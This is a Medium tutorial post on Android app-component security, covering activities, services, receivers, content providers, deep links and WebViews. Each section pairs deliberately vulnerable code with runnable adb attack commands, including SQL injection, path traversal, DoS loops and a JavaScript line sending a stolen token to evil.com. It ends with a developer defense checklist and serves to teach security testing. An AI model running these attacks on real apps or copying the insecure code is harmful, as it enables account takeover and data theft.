MediumPart 3: Mastering App Components, Deep Links & WebViews | by Shambhukapadi | Oct, 2026 | Medium
Sitemap

Part 3: Mastering App Components, Deep Links & WebViews

14 min readOct 23, 2026

--

1. Activities: The Front Door of Every App

What It Is

An Activity is simply a single screen in an app. Your login page, home feed, or settings screen each one is a separate Activity. It is the only part of the app users directly see and interact with. Technically, it is a message handler that responds to Intents from other apps.

Component Types

┌──────────────────────┬─────────────────────────────────────┬────────────────────────────────────────┐
│ Type │ Explanation │ Security Risk │
├──────────────────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ Exported Activity │ A screen that other apps can open │ Like leaving your front door unlocked; │
│ │ directly via Intent │ anyone can walk in │
├──────────────────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ Non-Exported │ A screen only the same app can open │ Safe from external access unless │
│ Activity │ internally │ there's an internal leak │
├──────────────────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ Auth/Session │ Screens handling login or │ High-value target; bypassing these = │
│ Activity │ displaying sensitive user data │ full account takeover │
├──────────────────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ Data Display │ Screens showing profiles, │ Prime target for IDOR if input isn't │
│ Activity │ transactions, or PII │ validated server-side │
└──────────────────────┴─────────────────────────────────────┴────────────────────────────────────────┘

Vulnerable Code

XML

<!-- AndroidManifest.xml -->
<activity
android:name=".AccountDetailsActivity"
android:exported="true"> <!-- ❌ BAD: Door is unlocked! -->
</activity>

Java

// AccountDetailsActivity.java
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// ❌ BAD: Grabs account ID from Intent WITHOUT checking auth or ownership
String accountId = getIntent().getStringExtra("account_id");
loadAccountDetails(accountId); // Shows ANY account's details to ANYONE
}

⚔️ Attack 1: Unauthorized Direct Access (Auth Bypass)

  • Mechanism: Apps assume users navigate linearly (Login → Home → Settings). If an Activity is exported and lacks session validation in onCreate(), the authentication flow is completely bypassed because the OS launches the Activity directly without triggering the login check.
  • Exploit Pathway:
[ Hacker runs ADB command ] ──► [ OS launches exported Activity directly ] ──► [ Sensitive screen opens WITHOUT login! ]
  • Simple Steps:

→ Find exported activities:

adb shell dumpsys package com.target.app | grep -A 5 "Activity Resolver Table"

→ Launch directly:

adb shell am start -n com.target.app/.AccountDetailsActivity

→ Verify: Private screen appears without any authentication prompt

⚔️ Attack 2: Intent Injection / Parameter Tampering (IDOR)

  • Mechanism: Activities accept data via getIntent().getStringExtra(). If this parameter controls resource access (user ID, role, URL) and the app doesn't validate ownership server-side, the attacker can inject arbitrary values to access other users' data.
  • Exploit Pathway:
[ Hacker sends fake account_id via Intent ] ──► [ App trusts input blindly ] ──► [ Hacker sees victim's bank balance!
  • Simple Steps:

→ Identify activity accepting parameters via decompilation (JADX)

→ Inject victim’s ID:

adb shell am start -n com.target.app/.AccountDetailsActivity --es "account_id" "VICTIM_123"

→ Verify: Victim’s private data loads successfully

⚔️ Attack 3: Task Stack Poisoning

  • Mechanism: Android maintains a back stack of Activities. By launching a sensitive Activity with specific flags (FLAG_ACTIVITY_NEW_TASK), attackers manipulate the navigation history. When the victim presses "Back," they land on an attacker-controlled screen instead of the legitimate home screen.
  • Exploit Pathway:
[ Hacker launches Activity with NEW_TASK flag ] ─► [ Back stack is manipulated ] ──► [ Victim presses Back → Lands on attacker screen! ]
  • Simple Steps:

→ Launch with task manipulation:

adb shell am start -n com.target.app/.SensitiveScreen -f 0x10000000

→ Interact with the app normally as a victim would

→ Press Back button → Verify you’re redirected to malicious content

2. Services: The Invisible Background Worker

What It Is

A Service does work behind the scenes with no visible screen. Playing music while browsing, syncing emails, tracking location — all handled by Services. There are two fundamental types: Started Services (fire-and-forget tasks) and Bound Services (two-way communication via AIDL/Binder interfaces).

Component Types


┌────────────────────┬─────────────────────────────────────┬────────────────────────────────────────┐
│ Type │ Simple Explanation │ Security Risk │
├────────────────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ Started Service │ Runs independently until explicitly │ Can be triggered by any app to perform │
│ │ stopped │ unwanted background tasks │
├────────────────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ Bound Service │ Allows other apps to connect and │ Like giving strangers a walkie-talkie │
│ │ call methods directly │ to your internal systems │
├────────────────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ Foreground Service │ Shows persistent notification; │ Harder for OS to kill; ideal for │
│ │ higher OS priority │ persistent attacks │
├────────────────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ Intent Service │ Handles one request then stops │ Often less secured than regular │
│ │ automatically │ services due to assumed ephemerality │
└────────────────────┴─────────────────────────────────────┴────────────────────────────────────────┘

Vulnerable Code

XML

<service
android:name=".DataSyncService"
android:exported="true"> <!-- ❌ BAD: Any app can give orders! -->
<intent-filter>
<action android:name="com.example.SYNC_DATA" />
</intent-filter>
</service>

Java

// DataSyncService.java
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// ❌ BAD: No check on WHO is sending this command
String userData = intent.getStringExtra("user_data");
uploadToServer(userData); // Uploads unverified data blindly
return START_STICKY;
}

⚠️ Attack 1: Unauthorized Started Service Invocation

  • Mechanism: If a service processes data from an Intent and lacks permission checks or caller UID validation, any installed app can trigger it. The service executes business logic using attacker-controlled input, leading to data exfiltration or unauthorized state changes.
  • Exploit Pathway:
[ Malicious app starts service ] ──► [ Service processes attacker's data ] ──► [ Victim's server receives stolen info! ]
  • Simple Steps:

→ Find exported services:

adb shell dumpsys activity services com.target.app

→ Start with payload:

adb shell am startservice -n com.target.app/.DataSyncService --es "user_data" "STOLEN_CREDENTIALS"

→ Monitor logcat: adb logcat | grep DataSyncService to confirm execution

⚠️ Attack 2: Bound Service Interface Abuse (AIDL)

  • Mechanism: Bound services expose methods via AIDL interfaces. If onBind() returns a Binder stub without verifying the caller's UID/PID, any app can bind to the service and invoke sensitive methods like getApiKey() or getUserToken() directly.
  • Exploit Pathway:
[ Attacker binds to service ] ─► [ Calls exposed method directly ] ──► [ Gets API keys/tokens! ]
  • Simple Steps:

→ Write malicious app that binds to target service using bindService()

→ Once connected, call sensitive AIDL methods

→ Extract returned secrets (API keys, tokens, user data)

⚔️ Attack 3: Denial of Service via Resource Exhaustion

  • Mechanism: Services have limited processing capacity. By flooding a started service with rapid concurrent requests, attackers overwhelm the service thread pool, causing ANR (Application Not Responding) crashes or excessive battery drain.
  • Exploit Pathway:
[ Attacker floods service with 1000+ requests/sec ] ──► [ Service thread pool exhausted ] ──► [ App crashes / Battery drains! ]
  • Simple Steps:

→ Write loop script:

for i in {1..1000}; do adb shell am startservice -n com.target.app/.DataSyncService; done

→ Observe app becoming unresponsive

→ Check logcat for ANR traces or OutOfMemory errors

3. Broadcast Receivers: The Always-Listening Doorbell

What It Is

A Broadcast Receiver listens for messages from the system or other apps. “Battery low,” “New SMS,” “User logged in” — these are all broadcasts. Static receivers (declared in manifest) listen even when the app is closed, making them especially dangerous. Dynamic receivers (registered in code) only listen when the app is running.

Component Types

┌──────────────────────┬─────────────────────────────────────┬────────────────────────────────────────┐
│ Type │ Explanation │ Security Risk │
├──────────────────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ Static Receiver │ Declared in manifest; ALWAYS │ Can be triggered even when app is │
│ │ listening │ fully closed │
├──────────────────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ Dynamic Receiver │ Registered in code; only listens │ Safer, but still vulnerable if sender │
│ │ when app runs │ isn't validated │
├──────────────────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ Ordered Broadcast │ Receives messages in priority order │ Can abort broadcasts to block │
│ Receiver │ │ legitimate actions │
├──────────────────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ Sticky Broadcast │ Reads persistent system messages │ Can leak sensitive historical data │
│ Receiver │ that stay in memory │ │
└──────────────────────┴─────────────────────────────────────┴────────────────────────────────────────┘

Vulnerable Code

XML

<!-- Static receiver: NEVER sleeps -->
<receiver
android:name=".PasswordResetReceiver"
android:exported="true"> <!-- ❌ BAD: Anyone can ring this bell! -->
<intent-filter>
<action android:name="com.example.RESET_PASSWORD" />
</intent-filter>
</receiver>

Java

// PasswordResetReceiver.java
@Override
public void onReceive(Context context, Intent intent) {
// ❌ BAD: Doesn't verify WHO sent this message
String email = intent.getStringExtra("email");
String token = intent.getStringExtra("reset_token");
resetPassword(email, token); // Resets password for ANYONE!
}

⚔️ Attack 1: Broadcast Spoofing (Forced Action)

  • Mechanism: If a receiver performs actions based solely on the broadcast action string without validating the sender package name or requiring a signature-level permission, attackers can forge broadcasts to trigger unintended behaviors like password resets, data deletion, or privilege escalation.
  • Exploit Pathway:
[ Attacker sends fake broadcast ] ──► [ Receiver trusts message blindly ] ──► [ Victim's password reset WITHOUT consent! ]
  • Simple Steps:

→ Find exported receiver: Search manifest for <receiver android:exported="true">

→ Send spoofed broadcast:

adb shell am broadcast -a com.example.RESET_PASSWORD -n com.victim.app/.PasswordResetReceiver --es "email" "victim@email.com" --es "reset_token" "KNOWN_TOKEN"

→ Verify: Check victim’s email for unexpected reset link

⚔️ Attack 2: Sticky Broadcast Information Leakage

  • Mechanism: Some system broadcasts are “sticky” (persist in memory after being sent). If an app stores sensitive data in sticky broadcast extras, any app can read them by registering a null receiver, even if the original sender is no longer running.
  • Exploit Pathway:
[ Attacker reads persistent broadcast ] ──► [ Finds leaked sensitive data ] ──► [ Steals tokens/PII! ]
  • Simple Steps:

→ Register null receiver:

registerReceiver(null, new IntentFilter("com.target.SENSITIVE"))

→ Extract extras from returned Intent object

→ Find hardcoded keys, tokens, or user PII in broadcast data

⚔️ Attack 3: DoS via Rapid Broadcasting

  • Mechanism: Receivers have a strict 10-second timeout for onReceive(). By flooding a receiver with malformed or computationally expensive broadcasts, attackers force repeated timeouts, causing ANR crashes and rendering the app unusable.
  • Exploit Pathway:
[ Attacker sends 1000 malformed broadcasts/sec ] ──► [ Receiver exceeds 10s timeout repeatedly ] ──► [ App ANR/crash! ]
  • Simple Steps:

→ Write rapid broadcast loop targeting exported receiver

→ Include oversized or malformed extras to maximize processing time

Get Shambhukapadi’s stories in your inbox

Join Medium for free to get updates from this writer.

→ Observe app freezing and ANR dialogs appearing

4. Content Providers: The Shared Filing Cabinet

What It Is

A Content Provider manages structured data (contacts, photos, chat logs) and lets other apps access it if permitted. Think of it as a filing cabinet with labeled drawers. Apps request files via URIs like content://com.app.provider/contacts. Providers can be SQL-backed (database queries) or file-backed (serving actual files).

Component Types

┌──────────────────────┬─────────────────────────────────────┬────────────────────────────────────────┐
│ Type │ Simple Explanation │ Security Risk │
├──────────────────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ SQL-backed Provider │ Uses SQLite database internally │ Prime target for SQL injection via │
│ │ │ selection clauses │
├──────────────────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ File-backed Provider │ Serves actual files from device │ Target for path traversal attacks │
│ │ storage │ using `../` sequences │
├──────────────────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ Permission-Protected │ Requires specific permission to │ Safe ONLY if permission is actually │
│ Provider │ access │ enforced in code │
├──────────────────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ Unprotected Provider │ No permission required at all │ Open book for any app on the device │
└──────────────────────┴─────────────────────────────────────┴────────────────────────────────────────┘

Vulnerable Code

XML

<provider
android:name=".UserDataProvider"
android:authorities="com.app.provider"
android:exported="true"
android:readPermission="com.app.READ"> <!-- ❌ Permission defined but NOT enforced in query()! -->
</provider>

Java

// UserDataProvider.java
@Override
public Cursor query(Uri uri, String[] proj, String selection, ...) {
// ❌ BAD: Puts user input DIRECTLY into SQL = SQL Injection!
String sql = "SELECT * FROM users WHERE " + selection;
return db.rawQuery(sql, null);
}

⚔️ Attack 1: SQL Injection via Selection Clause

  • Mechanism: The query() method accepts a selection parameter (WHERE clause). If the provider concatenates this directly into a raw SQL query instead of using parameterized queries, attackers can inject UNION statements to dump entire databases or bypass authentication.
  • Exploit Pathway:
[ Attacker injects SQL in query param ] ──► [ Provider executes malicious SQL ] ──► [ Entire database dumped! ]
  • Simple Steps:

→ Find exported provider:

adb shell dumpsys package com.target.app | grep Provider

→ Inject UNION statement:

adb shell content query --uri content://com.target.app.provider/users --where "1=1 UNION SELECT username,password FROM admin_users--"

→ Verify: Admin credentials returned in query results

⚔️ Attack 2: Path Traversal via OpenFile

  • Mechanism: File-backed providers use openFile() to serve files. If they construct file paths using unsanitized URI segments without resolving ../ sequences, attackers can escape the intended directory and read arbitrary files including private databases and system configs.
  • Exploit Pathway:
[ Attacker crafts ../ in URI ] ──► [ Provider serves file outside intended folder ] ──► [ Reads /etc/passwd or private DBs! ]
  • Simple Steps:

→ Test file provider with traversal:

adb shell content read --uri content://com.target.app.provider/files/../../data/data/com.target.app/databases/secrets.db

→ If successful, download entire private database

→ Extract tokens, encryption keys, and user PII

⚔️ Attack 3: Permission Enforcement Bypass

  • Mechanism: Developers often declare readPermission or writePermission in the manifest but forget to enforce them programmatically in query(), insert(), update(), or delete() methods. The OS checks permissions at the binder level, but custom providers must manually verify caller identity.
  • Exploit Pathway:
[ Attacker queries without declaring permission ] ──► [ Provider doesn't enforce readPermission ] ──► [ Accesses private data freely! ]
  • Simple Steps:

→ Create test app WITHOUT declaring the required permission in its manifest

→ Attempt to query the protected provider

→ If data returns → permission check is broken → Critical vulnerability

5. Deep Links & App Links: The Hijackable Mail Slot

What It Is

Deep Links (myapp://page) and App Links ([https://domain.com/page](https://domain.com/page)) let websites, emails, or other apps open specific screens in your app. They're like a special mail slot delivering packages directly to a room. App Links require domain verification via assetlinks.json; Deep Links do not. OAuth redirect URIs commonly use deep links to receive auth tokens.

Component Types

 
┌──────────────────────┬─────────────────────────────────────┬────────────────────────────────────────┐
│ Type │ Simple Explanation │ Security Risk │
├──────────────────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ Custom Scheme Deep │ `myapp://path`; unique to your app │ Easy to hijack; no verification needed │
│ Link │ │ │
├──────────────────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ App Link (HTTPS) │ `https://yourdomain.com/path`; │ Secure ONLY if `autoVerify="true"` + │
│ │ requires autoVerify │ valid `assetlinks.json` │
├──────────────────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ OAuth Redirect Deep │ Used to receive auth tokens after │ Prime target for token interception │
│ Link │ login │ via phishing │
├──────────────────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ Universal Link │ Cross-platform equivalent; similar │ Same hijacking mechanics apply │
│ │ risks │ │
└──────────────────────┴─────────────────────────────────────┴────────────────────────────────────────┘

Vulnerable Code

XML

<intent-filter android:autoVerify="false"> <!-- ❌ BAD: Not verified! -->
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="https" android:host="bank.com" />
</intent-filter>

Java

// DeepLinkActivity.java
@Override
protected void onCreate(Bundle savedInstanceState) {
Uri data = getIntent().getData();
// ❌ BAD: Trusts URL params WITHOUT server-side validation
String token = data.getQueryParameter("token");
autoLogin(token); // Logs in ANYONE with valid-looking token
}

⚔️ Attack 1: App Link Hijacking (Scheme Collision)

  • Mechanism: Android resolves intents by matching scheme+host. If autoVerify="false" or assetlinks.json is missing/invalid, multiple apps can register identical filters. The first-installed app wins, or users see a chooser dialog. Attackers register identical filters to intercept legitimate traffic before the real app.
  • Exploit Pathway:
[ User clicks legitimate link ] ──► [ Malicious app registered SAME host ] ──► [ Fake login page steals credentials! ]
  • Simple Steps:

→ Create malicious app with identical intent filter (same scheme + host)

→ Install BEFORE legitimate app (or use same signing key)

→ Click legitimate link [https://bank.com/login](https://bank.com/login) → Verify YOUR app opens first

→ Show fake login page → Capture credentials → Redirect to real site

⚔️ Attack 2: OAuth Token Interception via Deep Link

  • Mechanism: Apps use deep links as OAuth redirect URIs (myapp://callback?code=XYZ). If the app auto-processes the code parameter without validating the state parameter or implementing PKCE, attackers can craft phishing links containing stolen authorization codes to hijack sessions.
  • Exploit Pathway:
[ Attacker crafts phishing link with stolen code ] ──► [ Victim clicks → app receives code ] ──► [ Attacker gets valid session! ]
  • Simple Steps:

→ Intercept OAuth flow to capture authorization code

→ Craft phishing link:

[https://bank.com/oauth?redirect_uri=myapp://callback&code=STOLEN_CODE&state=VALID_STATE](https://bank.com/oauth?redirect_uri=myapp://callback&code=STOLEN_CODE&state=VALID_STATE)

→ Send to victim via email/SMS

→ When victim clicks, app exchanges stolen code → Attacker gains active session

⚠️ Attack 3: Open Redirect via Deep Link Parameter

  • Mechanism: Some deep links accept a redirect or next parameter to navigate after authentication. If this parameter isn't validated against an allowlist, attackers can set it to their own domain. When the app redirects, the full URL (including tokens) is sent in the HTTP Referer header to the attacker's server
  • Exploit Pathway:
[ Deep link contains attacker redirect param ] ──► [ App redirects to attacker URL ] ──► [ Token leaked in Referer header! ]
  • Simple Steps:

→ Find deep link accepting ?redirect= parameter

→ Set redirect to attacker-controlled domain: myapp://auth?redirect=[https://evil.com](https://evil.com)

→ Complete auth flow → App redirects to evil.com

→ Check server logs → Full URL with token captured in Referer header

6. WebViews: The Browser Inside Your App

What It Is

A WebView is a mini-browser embedded inside an app. It loads web pages without opening Chrome. Many apps use it for help docs, ads, or hybrid features. It bridges native Java/Kotlin code and JavaScript via addJavascriptInterface(). Misconfigurations here lead to RCE, data theft, and MitM attacks.

Component Types


┌──────────────────────┬─────────────────────────────────────┬────────────────────────────────────────┐
│ Type │ Simple Explanation │ Security Risk │
├──────────────────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ JavaScript-Enabled │ Can execute JS code │ Enables XSS and bridge exploitation │
│ WebView │ │ │
├──────────────────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ File-Access Enabled │ Can read local device files via │ Allows reading private databases and │
│ WebView │ `file://` URLs │ configs │
├──────────────────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ Bridge-Enabled │ Exposes Java methods to JavaScript │ Direct path to RCE and sensitive data │
│ WebView │ │ theft │
├──────────────────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ Remote-Content │ Loads URLs from the internet │ Vulnerable to MitM and injected │
│ WebView │ │ scripts │
└──────────────────────┴─────────────────────────────────────┴────────────────────────────────────────┘

Vulnerable Code

Java

WebView webView = findViewById(R.id.webview);
WebSettings settings = webView.getSettings();
// ❌ BAD: Enables EVERY dangerous feature
settings.setJavaScriptEnabled(true);
settings.setAllowFileAccess(true);
settings.setAllowUniversalAccessFromFileURLs(true);
// ❌ BAD: Exposes sensitive method to JavaScript
webView.addJavascriptInterface(new NativeBridge(), "Android");

Java

// NativeBridge.java
@JavascriptInterface
public String getUserToken() {
return prefs.getString("token", ""); // Leaks token to ANY loaded webpage!
}

⚠️ Attack 1: JavaScript Bridge Token Theft

  • Mechanism: addJavascriptInterface() exposes annotated Java methods to JavaScript running in the WebView. If the WebView loads attacker-controlled content (via open redirect, XSS, or MitM), malicious JS can call exposed methods to extract tokens, PII, or execute arbitrary native code.
  • Exploit Pathway:
[ Malicious JS runs in WebView ] ──► [ Calls exposed Java method ] ──► [ Token sent to attacker server! ]
  • Simple Steps:

→ Find WebView with addJavascriptInterface via JADX decompilation

→ If it loads remote content, inject malicious JS via MitM (Burp Suite) or XSS

→ Execute: var token = Android.getUserToken(); fetch('[https://evil.com/?t='+token](https://evil.com/?t='+token))

→ Receive victim’s session token on attacker server

⚠️ Attack 2: Universal XSS via File Access

  • Mechanism: If setAllowFileAccess(true) AND setAllowUniversalAccessFromFileURLs(true) are enabled, a local HTML file loaded in the WebView can read OTHER local files via file:// URLs AND make network requests. This creates a universal XSS vector where local assets become attack vectors.
  • Exploit Pathway:
[ Attacker loads malicious local HTML ] ──► [ JS reads file:///data/data/... ] ──► [ Private DB exfiltrated! ]
  • Simple Steps:

→ Find WebView with both file access settings enabled

→ Inject malicious JS into local asset file (via MitM or local file write)

→ JS executes: xhr.open("GET","file:///data/data/com.target.app/databases/app.db")

→ Send DB contents to attacker server via XMLHttpRequest

⚔️ Attack 3: SSL Validation Bypass

  • Mechanism: Custom WebViewClient implementations sometimes override onReceivedSslError() and call handler.proceed() instead of handler.cancel(). This disables SSL certificate validation entirely, allowing attackers to perform MitM attacks and intercept all HTTPS traffic in plaintext.
  • Exploit Pathway:
[ WebView ignores cert errors ] ──► [ Attacker performs MitM ] ──► [ Sees ALL traffic in plaintext! ]
  • Simple Steps:

→ Decompile app and search for onReceivedSslError

→ If handler.proceed() is called → SSL validation disabled

→ Configure Burp Suite CA certificate on emulator

→ Intercept all HTTPS traffic → View tokens, API calls, and PII in plaintext

🛡️ Quick Defense Checklist for Developers


┌───────────┬─────────────────────────────────────┬────────────────────────────────────────┐
│ Component │ One-Line Fix │ Verification Test │
├───────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ Activity │ Set `exported="false"` + validate │ Try launching via ADB → should fail or │
│ │ session in `onCreate()` │ show login │
├───────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ Service │ Add `android:permission` + validate │ Bind from external app → should be │
│ │ caller UID in `onStartCommand()` │ denied │
├───────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ Receiver │ Use dynamic registration + check │ Send spoofed broadcast → should be │
│ │ `getCallingPackage()` │ ignored │
├───────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ Provider │ Use parameterized queries + enforce │ Run SQLi test → should return error │
│ │ URI permissions program. │ │
├───────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ Deep Link │ Set `autoVerify="true"` + validate │ Install malicious app → shouldn't │
│ │ tokens server-side │ intercept │
├───────────┼─────────────────────────────────────┼────────────────────────────────────────┤
│ WebView │ Disable JS/file access + sandbox │ Load malicious page → should do │
│ │ all bridges │ nothing │
└───────────┴─────────────────────────────────────┴────────────────────────────────────────┘

Part 4:

--

--

Shambhukapadi
Shambhukapadi

Written by Shambhukapadi

Mobile Security | API Security | Active CTF organizer